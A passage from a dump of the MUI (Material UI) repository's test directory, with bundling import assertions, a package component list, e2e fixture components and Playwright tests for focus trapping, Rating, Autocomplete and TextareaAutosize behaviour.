ReactIs.isValidElementType(TableHead_core__pathImport),\n  'TableHead path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TablePagination_core),\n  'TablePagination named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TablePagination_core__pathImport),\n  'TablePagination path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TableRow_core),\n  'TableRow named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TableRow_core__pathImport),\n  'TableRow path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TableSortLabel_core),\n  'TableSortLabel named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TableSortLabel_core__pathImport),\n  'TableSortLabel path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Tabs_core), 'Tabs named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Tabs_core__pathImport),\n  'Tabs path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TabScrollButton_core),\n  'TabScrollButton named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TabScrollButton_core__pathImport),\n  'TabScrollButton path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TextareaAutosize_core),\n  'TextareaAutosize named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TextareaAutosize_core__pathImport),\n  'TextareaAutosize path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TextField_core),\n  'TextField named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TextField_core__pathImport),\n  'TextField path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ToggleButton_core),\n  'ToggleButton named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ToggleButton_core__pathImport),\n  'ToggleButton path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ToggleButtonGroup_core),\n  'ToggleButtonGroup named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(ToggleButtonGroup_core__pathImport),\n  'ToggleButtonGroup path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Toolbar_core), 'Toolbar named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Toolbar_core__pathImport),\n  'Toolbar path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Tooltip_core), 'Tooltip named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Tooltip_core__pathImport),\n  'Tooltip path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Typography_core),\n  'Typography named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Typography_core__pathImport),\n  'Typography path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Unstable_TrapFocus_core),\n  'Unstable_TrapFocus named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Unstable_TrapFocus_core__pathImport),\n  'Unstable_TrapFocus path import is not consumable.',\n);\nconsole.assert(\n  useAutocomplete_core !== undefined,\n  'useAutocomplete named import is not consumable.',\n);\nconsole.assert(\n  useAutocomplete_core__pathImport !== undefined,\n  'useAutocomplete path import is not consumable.',\n);\nconsole.assert(useMediaQuery_core !== undefined, 'useMediaQuery named import is not consumable.');\nconsole.assert(\n  useMediaQuery_core__pathImport !== undefined,\n  'useMediaQuery path import is not consumable.',\n);\nconsole.assert(usePagination_core !== undefined, 'usePagination named import is not consumable.');\nconsole.assert(\n  usePagination_core__pathImport !== undefined,\n  'usePagination path import is not consumable.',\n);\nconsole.assert(\n  useScrollTrigger_core !== undefined,\n  'useScrollTrigger named import is not consumable.',\n);\nconsole.assert(\n  useScrollTrigger_core__pathImport !== undefined,\n  'useScrollTrigger path import is not consumable.',\n);\nconsole.assert(\n  utils_core__pathImport !== null && typeof utils_core__pathImport === 'object',\n  'utils path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(Zoom_core), 'Zoom named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(Zoom_core__pathImport),\n  'Zoom path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Accessibility_icons),\n  'Accessibility named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Accessibility_icons__pathImport),\n  'Accessibility path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(LoadingButton_lab),\n  'LoadingButton named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(LoadingButton_lab__pathImport),\n  'LoadingButton path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TabContext_lab),\n  'TabContext named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TabContext_lab__pathImport),\n  'TabContext path import is not consumable.',\n);\nconsole.assert(ReactIs.isValidElementType(TabList_lab), 'TabList named import is not consumable.');\nconsole.assert(\n  ReactIs.isValidElementType(TabList_lab__pathImport),\n  'TabList path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TabPanel_lab),\n  'TabPanel named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TabPanel_lab__pathImport),\n  'TabPanel path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Timeline_lab),\n  'Timeline named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(Timeline_lab__pathImport),\n  'Timeline path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TimelineConnector_lab),\n  'TimelineConnector named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TimelineConnector_lab__pathImport),\n  'TimelineConnector path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TimelineContent_lab),\n  'TimelineContent named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TimelineContent_lab__pathImport),\n  'TimelineContent path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TimelineDot_lab),\n  'TimelineDot named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TimelineDot_lab__pathImport),\n  'TimelineDot path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TimelineItem_lab),\n  'TimelineItem named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TimelineItem_lab__pathImport),\n  'TimelineItem path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TimelineOppositeContent_lab),\n  'TimelineOppositeContent named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TimelineOppositeContent_lab__pathImport),\n  'TimelineOppositeContent path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TimelineSeparator_lab),\n  'TimelineSeparator named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TimelineSeparator_lab__pathImport),\n  'TimelineSeparator path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TreeItem_lab),\n  'TreeItem named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TreeItem_lab__pathImport),\n  'TreeItem path import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TreeView_lab),\n  'TreeView named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(TreeView_lab__pathImport),\n  'TreeView path import is not consumable.',\n);\nconsole.assert(\n  useAutocomplete_lab !== undefined,\n  'useAutocomplete named import is not consumable.',\n);\nconsole.assert(\n  useAutocomplete_lab__pathImport !== undefined,\n  'useAutocomplete path import is not consumable.',\n);\nconsole.assert(borders_system !== undefined, 'borders named import is not consumable.');\nconsole.assert(breakpoints_system !== undefined, 'breakpoints named import is not consumable.');\nconsole.assert(compose_system !== undefined, 'compose named import is not consumable.');\nconsole.assert(display_system !== undefined, 'display named import is not consumable.');\nconsole.assert(flexbox_system !== undefined, 'flexbox named import is not consumable.');\nconsole.assert(grid_system !== undefined, 'grid named import is not consumable.');\nconsole.assert(palette_system !== undefined, 'palette named import is not consumable.');\nconsole.assert(positions_system !== undefined, 'positions named import is not consumable.');\nconsole.assert(shadows_system !== undefined, 'shadows named import is not consumable.');\nconsole.assert(sizing_system !== undefined, 'sizing named import is not consumable.');\nconsole.assert(spacing_system !== undefined, 'spacing named import is not consumable.');\nconsole.assert(style_system !== undefined, 'style named import is not consumable.');\nconsole.assert(typography_system !== undefined, 'typography named import is not consumable.');\nconsole.assert(\n  chainPropTypes_utils !== undefined,\n  'chainPropTypes named import is not consumable.',\n);\nconsole.assert(deepmerge_utils !== undefined, 'deepmerge named import is not consumable.');\nconsole.assert(\n  elementAcceptingRef_utils !== undefined,\n  'elementAcceptingRef named import is not consumable.',\n);\nconsole.assert(\n  elementTypeAcceptingRef_utils !== undefined,\n  'elementTypeAcceptingRef named import is not consumable.',\n);\nconsole.assert(exactProp_utils !== undefined, 'exactProp named import is not consumable.');\nconsole.assert(\n  formatMuiErrorMessage_utils !== undefined,\n  'formatMuiErrorMessage named import is not consumable.',\n);\nconsole.assert(\n  getDisplayName_utils !== undefined,\n  'getDisplayName named import is not consumable.',\n);\nconsole.assert(\n  ReactIs.isValidElementType(HTMLElementType_utils),\n  'HTMLElementType named import is not consumable.',\n);\nconsole.assert(\n  ponyfillGlobal_utils !== undefined,\n  'ponyfillGlobal named import is not consumable.',\n);\nconsole.assert(refType_utils !== undefined, 'refType named import is not consumable.');\n/* eslint-enable no-console */\n// #endregion\n"
  },
  {
    "path": "test/bundling/scripts/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "test/bundling/scripts/packages.js",
    "content": "export default {\n  '@mui/material': [\n    'Accordion',\n    'AccordionActions',\n    'AccordionDetails',\n    'AccordionSummary',\n    'Alert',\n    'AlertTitle',\n    'AppBar',\n    'Autocomplete',\n    'Avatar',\n    'Backdrop',\n    'Badge',\n    'BottomNavigation',\n    'BottomNavigationAction',\n    'Box',\n    'Breadcrumbs',\n    'Button',\n    'ButtonBase',\n    'ButtonGroup',\n    'Card',\n    'CardActionArea',\n    'CardActions',\n    'CardContent',\n    'CardHeader',\n    'CardMedia',\n    'Checkbox',\n    'Chip',\n    'CircularProgress',\n    'ClickAwayListener',\n    'Collapse',\n    'colors',\n    'Container',\n    'CssBaseline',\n    'Dialog',\n    'DialogActions',\n    'DialogContent',\n    'DialogContentText',\n    'DialogTitle',\n    'Divider',\n    'Drawer',\n    'Fab',\n    'Fade',\n    'FilledInput',\n    'FormControl',\n    'FormControlLabel',\n    'FormGroup',\n    'FormHelperText',\n    'FormLabel',\n    'Grid',\n    'Grow',\n    'Icon',\n    'IconButton',\n    'ImageList',\n    'ImageListItem',\n    'ImageListItemBar',\n    'Input',\n    'InputAdornment',\n    'InputBase',\n    'InputLabel',\n    'LinearProgress',\n    'Link',\n    'List',\n    'ListItem',\n    'ListItemAvatar',\n    'ListItemIcon',\n    'ListItemSecondaryAction',\n    'ListItemText',\n    'ListSubheader',\n    'Menu',\n    'MenuItem',\n    'MenuList',\n    'MobileStepper',\n    'Modal',\n    'NativeSelect',\n    'NoSsr',\n    'OutlinedInput',\n    'Pagination',\n    'PaginationItem',\n    'Paper',\n    'Popover',\n    'Popper',\n    'Portal',\n    'Radio',\n    'RadioGroup',\n    'Rating',\n    'ScopedCssBaseline',\n    'Select',\n    'Skeleton',\n    'Slide',\n    'Slider',\n    'Snackbar',\n    'SnackbarContent',\n    'SpeedDial',\n    'SpeedDialAction',\n    'SpeedDialIcon',\n    'Step',\n    'StepButton',\n    'StepConnector',\n    'StepContent',\n    'StepIcon',\n    'StepLabel',\n    'Stepper',\n    'styles',\n    'SvgIcon',\n    'SwipeableDrawer',\n    'Switch',\n    'Tab',\n    'Table',\n    'TableBody',\n    'TableCell',\n    'TableContainer',\n    'TableFooter',\n    'TableHead',\n    'TablePagination',\n    'TablePaginationActions',\n    'TableRow',\n    'TableSortLabel',\n    'Tabs',\n    'TabScrollButton',\n    'TextareaAutosize',\n    'TextField',\n    'ToggleButton',\n    'ToggleButtonGroup',\n    'Toolbar',\n    'Tooltip',\n    'Typography',\n    'Unstable_TrapFocus',\n    'useAutocomplete',\n    'useMediaQuery',\n    'usePagination',\n    'useScrollTrigger',\n    'utils',\n    'Zoom',\n  ],\n  '@mui/icons-material': [\n    // Icons are generated.\n    // So the behavior of a single item should be equivalent to all icons.\n    'Accessibility',\n  ],\n  '@mui/lab': [\n    'Alert',\n    'AlertTitle',\n    'Autocomplete',\n    'AvatarGroup',\n    'LoadingButton',\n    'Pagination',\n    'PaginationItem',\n    'Rating',\n    'Skeleton',\n    'SpeedDial',\n    'SpeedDialAction',\n    'SpeedDialIcon',\n    'TabContext',\n    'TabList',\n    'TabPanel',\n    // types only\n    // 'themeAugmentation',\n    'Timeline',\n    'TimelineConnector',\n    'TimelineContent',\n    'TimelineDot',\n    'TimelineItem',\n    'TimelineOppositeContent',\n    'TimelineSeparator',\n    'ToggleButton',\n    'ToggleButtonGroup',\n    'TreeItem',\n    'TreeView',\n    'useAutocomplete',\n  ],\n  '@mui/system': [\n    'borders',\n    'breakpoints',\n    'compose',\n    'display',\n    'flexbox',\n    'grid',\n    // private\n    // 'memoize',\n    // 'merge',\n    'palette',\n    'positions',\n    // private\n    // 'responsivePropType',\n    'shadows',\n    'sizing',\n    'spacing',\n    'style',\n    // private\n    // 'styleFunctionSx',\n    'typography',\n  ],\n  '@mui/utils': [\n    'chainPropTypes',\n    'deepmerge',\n    'elementAcceptingRef',\n    'elementTypeAcceptingRef',\n    'exactProp',\n    'formatMuiErrorMessage',\n    'getDisplayName',\n    'HTMLElementType',\n    'ponyfillGlobal',\n    'refType',\n  ],\n};\n"
  },
  {
    "path": "test/e2e/README.md",
    "content": "# end-to-end testing\n\nEnd-to-end tests (short <abbr title=\"end-to-end\">e2e</abbr>) are split into two parts:\n\n1. The rendered UI (short: fixture)\n2. Instrumentation of that UI\n\n## Rendered UI\n\nThe composition of all tests happens in `./index.js`.\nThe rendered UI is located inside a separate file in `./fixtures` and written as a React component.\nIf you're adding a new test prefer a new component instead of editing existing files since that might unknowingly alter existing tests.\n\n## Instrumentation\n\nWe're using [`playwright`](https://playwright.dev) to replay user actions.\nEach test tests only a single fixture.\nA fixture can be loaded with `await renderFixture(fixturePath)`, for example `renderFixture('FocusTrap/OpenFocusTrap')`.\n\n## Commands\n\nFor development `pnpm test:e2e:dev` and `pnpm test:e2e:run --watch` in separate terminals is recommended.\n\n| command                | description                                                                                   |\n| :--------------------- | :-------------------------------------------------------------------------------------------- |\n| `pnpm test:e2e`        | Full run                                                                                      |\n| `pnpm test:e2e:dev`    | Prepares the fixtures to be able to test in watchmode                                         |\n| `pnpm test:e2e:run`    | Runs the tests (requires `pnpm test:e2e:dev` or `pnpm test:e2e:build`+`pnpm test:e2e:server`) |\n| `pnpm test:e2e:build`  | Builds the webpack bundle for viewing the fixtures                                            |\n| `pnpm test:e2e:server` | Serves the fixture bundle.                                                                    |\n"
  },
  {
    "path": "test/e2e/TestViewer.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\n\nfunction TestViewer(props) {\n  const { children } = props;\n\n  // We're simulating `act(() => ReactDOM.render(children))`\n  // In the end children passive effects should've been flushed.\n  // React doesn't have any such guarantee outside of `act()` so we're approximating it.\n  const [ready, setReady] = React.useState(false);\n  React.useEffect(() => {\n    setReady(true);\n  }, []);\n\n  return (\n    <div aria-busy={!ready} data-testid=\"testcase\">\n      {children}\n    </div>\n  );\n}\n\nTestViewer.propTypes = {\n  children: PropTypes.node.isRequired,\n};\n\nexport default TestViewer;\n"
  },
  {
    "path": "test/e2e/fixtures/Autocomplete/HoverMaterialAutocomplete.tsx",
    "content": "import * as React from 'react';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport TextField from '@mui/material/TextField';\n\nfunction HoverMaterialAutocomplete() {\n  return (\n    <Autocomplete\n      open\n      options={['one', 'two', 'three', 'four', 'five']}\n      sx={{ width: 300 }}\n      slotProps={{ listbox: { sx: { height: '100px' } } }}\n      renderInput={(params) => <TextField {...params} />}\n    />\n  );\n}\n\nexport default HoverMaterialAutocomplete;\n"
  },
  {
    "path": "test/e2e/fixtures/FocusTrap/ClosedFocusTrap.tsx",
    "content": "import * as React from 'react';\nimport FocusTrap from '@mui/material/Unstable_TrapFocus';\n\nexport default function ClosedFocusTrap() {\n  return (\n    <React.Fragment>\n      <button type=\"button\" autoFocus>\n        initial focus\n      </button>\n      <FocusTrap open={false}>\n        <div data-testid=\"root\">\n          <button type=\"button\">inside focusable</button>\n        </div>\n      </FocusTrap>\n      <button type=\"button\">final tab target</button>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "test/e2e/fixtures/FocusTrap/DefaultOpenLazyFocusTrap.tsx",
    "content": "import * as React from 'react';\nimport FocusTrap from '@mui/material/Unstable_TrapFocus';\n\nexport default function BaseFocusTrap() {\n  const [open, close] = React.useReducer(() => false, true);\n\n  return (\n    <React.Fragment>\n      <button type=\"button\" autoFocus data-testid=\"initial-focus\">\n        initial focus\n      </button>\n      <FocusTrap isEnabled={() => true} open={open} disableAutoFocus>\n        <div data-testid=\"root\">\n          <div>Title</div>\n          <button type=\"button\" onClick={close}>\n            close\n          </button>\n          <button type=\"button\">noop</button>\n        </div>\n      </FocusTrap>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "test/e2e/fixtures/FocusTrap/DisableEnforceFocusFocusTrap.tsx",
    "content": "import * as React from 'react';\nimport FocusTrap from '@mui/material/Unstable_TrapFocus';\n\nexport default function disableEnforceFocusFocusTrap() {\n  return (\n    <React.Fragment>\n      <button data-testid=\"initial-focus\" type=\"button\" autoFocus>\n        initial focus\n      </button>\n      <FocusTrap open disableEnforceFocus disableAutoFocus>\n        <div data-testid=\"root\">\n          <button data-testid=\"inside-trap-focus\" type=\"button\">\n            inside focusable\n          </button>\n        </div>\n      </FocusTrap>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "test/e2e/fixtures/FocusTrap/OpenFocusTrap.tsx",
    "content": "import * as React from 'react';\nimport FocusTrap from '@mui/material/Unstable_TrapFocus';\n\nexport default function OpenFocusTrap() {\n  return (\n    <React.Fragment>\n      <button type=\"button\" autoFocus data-testid=\"initial-focus\">\n        initial focus\n      </button>\n      <FocusTrap isEnabled={() => true} open>\n        <div tabIndex={-1} data-testid=\"root\">\n          <div>Title</div>\n          <button type=\"button\">confirm</button>\n          <button type=\"button\">cancel</button>\n          <button type=\"button\">ok</button>\n        </div>\n      </FocusTrap>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "test/e2e/fixtures/Rating/BasicRating.tsx",
    "content": "import * as React from 'react';\nimport Rating from '@mui/material/Rating';\n\nexport default function BasicRating() {\n  return <Rating name=\"rating-test\" defaultValue={1} />;\n}\n"
  },
  {
    "path": "test/e2e/fixtures/Select/SelectFocusVisible.tsx",
    "content": "import * as React from 'react';\nimport Select from '@mui/material/Select';\nimport MenuItem from '@mui/material/MenuItem';\n\nexport default function SelectFocusVisible() {\n  return (\n    <Select defaultValue={10} data-testid=\"select\">\n      <MenuItem value={10}>Ten</MenuItem>\n      <MenuItem value={20}>Twenty</MenuItem>\n      <MenuItem value={30}>Thirty</MenuItem>\n    </Select>\n  );\n}\n"
  },
  {
    "path": "test/e2e/fixtures/TextField/OutlinedTextFieldOnClick.tsx",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\n\nexport default function OutlinedTextFieldOnClick() {\n  const [isClicked, setIsClicked] = React.useState(false);\n  return (\n    <TextField\n      id=\"outlined-basic\"\n      label=\"Outlined\"\n      error={isClicked}\n      variant=\"outlined\"\n      onClick={() => {\n        setIsClicked(true);\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "test/e2e/fixtures/TextareaAutosize/BasicTextareaAutosize.tsx",
    "content": "import * as React from 'react';\nimport TextareaAutosize from '@mui/material/TextareaAutosize';\n\nfunction BasicTextareaAutosize() {\n  return <TextareaAutosize data-testid=\"textarea\" />;\n}\n\nexport default BasicTextareaAutosize;\n"
  },
  {
    "path": "test/e2e/fixtures/TextareaAutosize/TextareaAutosizeSuspense.tsx",
    "content": "import TextareaAutosize from '@mui/material/TextareaAutosize';\nimport Button from '@mui/material/Button';\nimport * as React from 'react';\n\nfunction LazyRoute() {\n  const [isDone, setIsDone] = React.useState(false);\n\n  if (!isDone) {\n    // Force React to show fallback suspense\n    throw new Promise((resolve) => {\n      setTimeout(resolve, 1);\n      setIsDone(true);\n    });\n  }\n\n  return <div />;\n}\n\nexport default function TextareaAutosizeSuspense() {\n  const [showRoute, setShowRoute] = React.useState(false);\n\n  return (\n    <React.Fragment>\n      <Button onClick={() => setShowRoute((r) => !r)}>Toggle view</Button>\n      <React.Suspense fallback={null}>\n        {showRoute ? <LazyRoute /> : <TextareaAutosize />}\n      </React.Suspense>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "test/e2e/index.js",
    "content": "import * as React from 'react';\nimport * as ReactDOMClient from 'react-dom/client';\nimport { BrowserRouter as Router, Routes, Route, Link } from 'react-router';\nimport * as DomTestingLibrary from '@testing-library/dom';\nimport TestViewer from './TestViewer';\n\nconst fixtures = [];\n\nconst importFixtures = require.context('./fixtures', true, /\\.(js|ts|tsx)$/, 'lazy');\nimportFixtures.keys().forEach((path) => {\n  // require.context contains paths for module alias imports and relative imports\n  if (!path.startsWith('.')) {\n    return;\n  }\n  const [suite, name] = path\n    .replace('./', '')\n    .replace(/\\.\\w+$/, '')\n    .split('/');\n  fixtures.push({\n    path,\n    suite: `e2e/${suite}`,\n    name,\n    Component: React.lazy(() => importFixtures(path)),\n  });\n});\n\nfunction App() {\n  function computeIsDev() {\n    if (window.location.hash === '#dev') {\n      return true;\n    }\n    if (window.location.hash === '#no-dev') {\n      return false;\n    }\n    return process.env.NODE_ENV !== 'production';\n  }\n  const [isDev, setDev] = React.useState(computeIsDev);\n  React.useEffect(() => {\n    function handleHashChange() {\n      setDev(computeIsDev());\n    }\n    window.addEventListener('hashchange', handleHashChange);\n\n    return () => {\n      window.removeEventListener('hashchange', handleHashChange);\n    };\n  }, []);\n\n  function computePath(fixture) {\n    return `/${fixture.suite}/${fixture.name}`;\n  }\n\n  return (\n    <Router>\n      <Routes>\n        {fixtures.map((fixture) => {\n          const path = computePath(fixture);\n          const FixtureComponent = fixture.Component;\n          if (FixtureComponent === undefined) {\n            console.warn('Missing `Component` ', fixture);\n            return null;\n          }\n\n          return (\n            <Route\n              key={path}\n              exact\n              path={path}\n              element={\n                <TestViewer>\n                  <FixtureComponent />\n                </TestViewer>\n              }\n            />\n          );\n        })}\n      </Routes>\n      <div hidden={!isDev}>\n        <p>\n          Devtools can be enabled by appending <code>#dev</code> in the addressbar or disabled by\n          appending <code>#no-dev</code>.\n        </p>\n        <a href=\"#no-dev\">Hide devtools</a>\n        <details>\n          <summary id=\"my-test-summary\">nav for all tests</summary>\n          <nav id=\"tests\">\n            <ol>\n              {fixtures.map((test) => {\n                const path = computePath(test);\n                return (\n                  <li key={path}>\n                    <Link to={path}>{path}</Link>\n                  </li>\n                );\n              })}\n            </ol>\n          </nav>\n        </details>\n      </div>\n    </Router>\n  );\n}\n\nconst container = document.getElementById('react-root');\nconst children = <App />;\nconst root = ReactDOMClient.createRoot(container);\nroot.render(children);\n\nwindow.DomTestingLibrary = DomTestingLibrary;\nwindow.elementToString = function elementToString(element) {\n  if (\n    element != null &&\n    (element.nodeType === element.ELEMENT_NODE || element.nodeType === element.DOCUMENT_NODE)\n  ) {\n    return window.DomTestingLibrary.prettyDOM(element, undefined, {\n      highlight: true,\n      maxDepth: 1,\n    });\n  }\n  return String(element);\n};\n"
  },
  {
    "path": "test/e2e/index.test.ts",
    "content": "import { Page, Browser, chromium, expect } from '@playwright/test';\nimport { describe, it, beforeAll } from 'vitest';\nimport '@mui/internal-test-utils/initPlaywrightMatchers';\n\nconst BASE_URL = 'http://localhost:5001';\n\nfunction sleep(duration: number): Promise<void> {\n  return new Promise<void>((resolve) => {\n    setTimeout(() => {\n      resolve();\n    }, duration);\n  });\n}\n\n/**\n * Attempts page.goto with retries\n *\n * @remarks The server and runner can be started up simultaneously\n * @param page\n * @param url\n */\nasync function attemptGoto(page: Page, url: string): Promise<boolean> {\n  const maxAttempts = 10;\n  const retryTimeoutMS = 250;\n\n  let didNavigate = false;\n  for (let attempt = 1; attempt <= maxAttempts; attempt += 1) {\n    try {\n      // eslint-disable-next-line no-await-in-loop\n      await page.goto(url);\n      didNavigate = true;\n    } catch (error) {\n      // eslint-disable-next-line no-await-in-loop\n      await sleep(retryTimeoutMS);\n    }\n  }\n\n  return didNavigate;\n}\n\ndescribe('e2e', () => {\n  let browser: Browser;\n  let page: Page;\n\n  async function renderFixture(fixturePath: string) {\n    await page.goto(`${BASE_URL}/e2e/${fixturePath}#no-dev`);\n    await page.waitForSelector('[data-testid=\"testcase\"]:not([aria-busy=\"true\"])');\n  }\n\n  beforeAll(async function beforeHook() {\n    browser = await chromium.launch({\n      headless: true,\n    });\n    page = await browser.newPage();\n    const isServerRunning = await attemptGoto(page, `${BASE_URL}#no-dev`);\n    if (!isServerRunning) {\n      throw new Error(\n        `Unable to navigate to ${BASE_URL} after multiple attempts. Did you forget to run \\`pnpm test:e2e:server\\` and \\`pnpm test:e2e:build\\`?`,\n      );\n    }\n  }, 20000);\n\n  afterAll(async () => {\n    await browser.close();\n  });\n\n  describe('<FocusTrap />', () => {\n    it('should loop the tab key', async () => {\n      await renderFixture('FocusTrap/OpenFocusTrap');\n\n      await expect(page.getByTestId('root')).toBeFocused();\n\n      await page.keyboard.press('Tab');\n      await expect(page.getByText('confirm')).toBeFocused();\n      await page.keyboard.press('Tab');\n      await expect(page.getByText('cancel')).toBeFocused();\n      await page.keyboard.press('Tab');\n      await expect(page.getByText('ok')).toBeFocused();\n      await page.keyboard.press('Tab');\n      await expect(page.getByText('confirm')).toBeFocused();\n\n      await page.getByTestId('initial-focus').focus();\n      await expect(page.getByTestId('root')).toBeFocused();\n      await page.getByText('confirm').focus();\n      await page.keyboard.press('Shift+Tab');\n      await expect(page.getByText('ok')).toBeFocused();\n    });\n\n    it('should loop the tab key after activation', async () => {\n      await renderFixture('FocusTrap/DefaultOpenLazyFocusTrap');\n\n      await expect(page.getByTestId('initial-focus')).toBeFocused();\n\n      const close = page.getByRole('button', { name: 'close' });\n\n      await page.keyboard.press('Tab');\n      await expect(close).toBeFocused();\n      await page.keyboard.press('Tab');\n      await expect(page.getByText('noop')).toBeFocused();\n      await page.keyboard.press('Tab');\n      await expect(close).toBeFocused();\n      await page.keyboard.press('Enter');\n      await expect(page.getByTestId('initial-focus')).toBeFocused();\n    });\n\n    it('should focus on first focus element after last has received a tab click', async () => {\n      await renderFixture('FocusTrap/OpenFocusTrap');\n\n      await page.keyboard.press('Tab');\n      await expect(page.getByText('confirm')).toBeFocused();\n      await page.keyboard.press('Tab');\n      await expect(page.getByText('cancel')).toBeFocused();\n      await page.keyboard.press('Tab');\n      await expect(page.getByText('ok')).toBeFocused();\n    });\n\n    it('should be able to be tabbed straight through when rendered closed', async () => {\n      await renderFixture('FocusTrap/ClosedFocusTrap');\n\n      await expect(page.getByText('initial focus')).toBeFocused();\n      await page.keyboard.press('Tab');\n      await expect(page.getByText('inside focusable')).toBeFocused();\n      await page.keyboard.press('Tab');\n      await expect(page.getByText('final tab target')).toBeFocused();\n    });\n\n    it('should not trap focus when clicking outside when disableEnforceFocus is set', async () => {\n      await renderFixture('FocusTrap/DisableEnforceFocusFocusTrap');\n\n      // initial focus is on the button outside of the trap focus\n      await expect(page.getByTestId('initial-focus')).toBeFocused();\n\n      // focus the button inside the trap focus\n      await page.keyboard.press('Tab');\n      await expect(page.getByTestId('inside-trap-focus')).toBeFocused();\n\n      // the focus is now trapped inside\n      await page.keyboard.press('Tab');\n      await expect(page.getByTestId('inside-trap-focus')).toBeFocused();\n\n      const initialFocus = (await page.getByTestId('initial-focus'))!;\n      await initialFocus.click();\n\n      await expect(page.getByTestId('initial-focus')).toBeFocused();\n    });\n  });\n\n  describe('<Rating />', () => {\n    it('should loop the arrow key', async () => {\n      await renderFixture('Rating/BasicRating');\n\n      const activeEl = page.locator(':focus');\n\n      await page.focus('input[name=\"rating-test\"]:checked');\n      await expect(activeEl).toHaveAttribute('value', '1');\n      await page.keyboard.press('ArrowLeft');\n      await expect(activeEl).toHaveAttribute('value', '');\n      await page.keyboard.press('ArrowLeft');\n      await expect(activeEl).toHaveAttribute('value', '5');\n    });\n  });\n\n  describe('<Autocomplete/>', () => {\n    it('[Material Autocomplete] should highlight correct option when initial navigation through options starts from mouse move', async () => {\n      await renderFixture('Autocomplete/HoverMaterialAutocomplete');\n\n      const combobox = (await page.getByRole('combobox'))!;\n      await combobox.click();\n\n      const firstOption = (await page.getByText('one'))!;\n\n      const dimensions = (await firstOption.boundingBox())!;\n\n      await page.mouse.move(dimensions.x + 10, dimensions.y + 10); // moves to 1st option\n      await page.keyboard.down('ArrowDown'); // moves to 2nd option\n      await page.keyboard.down('ArrowDown'); // moves to 3rd option\n      await page.keyboard.down('ArrowDown'); // moves to 4th option\n\n      const listbox = await page.getByRole('listbox');\n      const focusedOption = listbox.locator('.Mui-focused');\n      const focusedOptionText = await focusedOption.innerHTML();\n\n      expect(focusedOptionText).toEqual('four');\n    });\n  });\n\n  describe('<TextareaAutosize />', () => {\n    // https://github.com/mui/material-ui/issues/32640\n    it('should handle suspense without error', async () => {\n      const pageErrors: string[] = [];\n      page.on('pageerror', (err) => pageErrors.push(err.name));\n\n      await renderFixture('TextareaAutosize/TextareaAutosizeSuspense');\n      expect(await 